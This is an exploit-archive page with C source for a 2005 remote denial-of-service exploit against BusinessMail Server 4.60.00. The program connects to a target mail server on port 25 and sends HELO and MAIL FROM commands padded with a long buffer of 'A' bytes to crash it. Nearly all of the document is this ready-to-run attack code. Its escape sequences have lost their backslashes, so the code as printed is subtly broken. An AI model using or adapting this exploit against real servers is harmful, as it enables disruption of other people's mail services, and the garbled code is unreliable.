[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : BusinessMail Server <= 4.60.00 Remote Denial of Service Exploit
# Published : 2005-08-01
# Author : Kozan
# Previous Title : Acunetix HTTP Sniffer Denial of Service Exploit
# Next Title : ProRat Server <= 1.9 (Fix-2) Buffer Overflow Crash Exploit


/*****************************************************************

BusinessMail Server Remote Denial of Service Exploit by Kozan
( Based on Reed Arvin's code in perl )

Application: BusinessMail Server 4.60.00
Vendor: www.netcplus.com

Discovered by:  Reed Arvin
Exploit Coded by: Kozan
Credits to ATmaCA,  Reed Arvin
Web: www.spyinstructors.com
Mail: kozan@spyinstructors.com

*****************************************************************/

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#pragma comment(lib,"ws2_32.lib")

char Buff[] =
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41";

int main(int argc, char *argv[])
{
       fprintf(stdout, "BusinessMail Server Remote Denial of Service Exploit by Kozann");
       fprintf(stdout, "Discovered by: Reed Arvinn");
       fprintf(stdout, "Exploit Coded by: Kozann");
       fprintf(stdout, "Credits to ATmaCA, Reed Arvinnn");
       fprintf(stdout, "www.spyinstructors.com - kozan@spyinstructors.comn");

       if(argc<2)
       {
               fprintf(stderr, "nnUsage: %s [Target IP]nn", argv[0]);
               return -1;
       }
       WSADATA wsaData;
       SOCKET sock;

       if( WSAStartup(0x0101,&wsaData) < 0 )
       {
               fprintf(stderr, "Winsock error!n");
               return -1;
       }

       sock = socket(AF_INET,SOCK_STREAM,0);
       if( sock == -1 )
       {
               fprintf(stderr, "Socket error!n");
               return -1;
       }

       struct sockaddr_in addr;

       addr.sin_family = AF_INET;
       addr.sin_port = htons(25);
       addr.sin_addr.s_addr = inet_addr(argv[1]);
       memset(&(addr.sin_zero), '', 8);

       fprintf(stdout, "Connecting to %s ...n", argv[1]);

       if( connect( sock, (struct sockaddr*)&addr, sizeof(struct sockaddr) ) == -1 )
       {
               fprintf(stderr, "Connection failed!n");
               closesocket(sock);
               return -1;
       }

       fprintf(stdout, "Connected.n");

       char szBuf1[1024], szBuf2[1024];

       wsprintf(szBuf1, "HELO %srn", Buff);
       wsprintf(szBuf2, "MAIL FROM:%srn", Buff);

       fprintf(stdout, "Sending HELO ...n");

       if( send(sock,szBuf1,strlen(szBuf1),0) == -1 )
       {
               fprintf(stderr, "HELO string could not sent!n");
               closesocket(sock);
               return -1;
       }

       fprintf(stdout, "Sending MAIL FROM ...n");

       if( send(sock,szBuf2,strlen(szBuf2),0) == -1 )
       {
               fprintf(stderr, "MAIL FROM string could not sent!n");
               closesocket(sock);
               return -1;
       }

       fprintf(stdout, "Operation completed...n");
       closesocket(sock);
       WSACleanup();

       return 0;
}

// www.Syue.com [2005-08-01]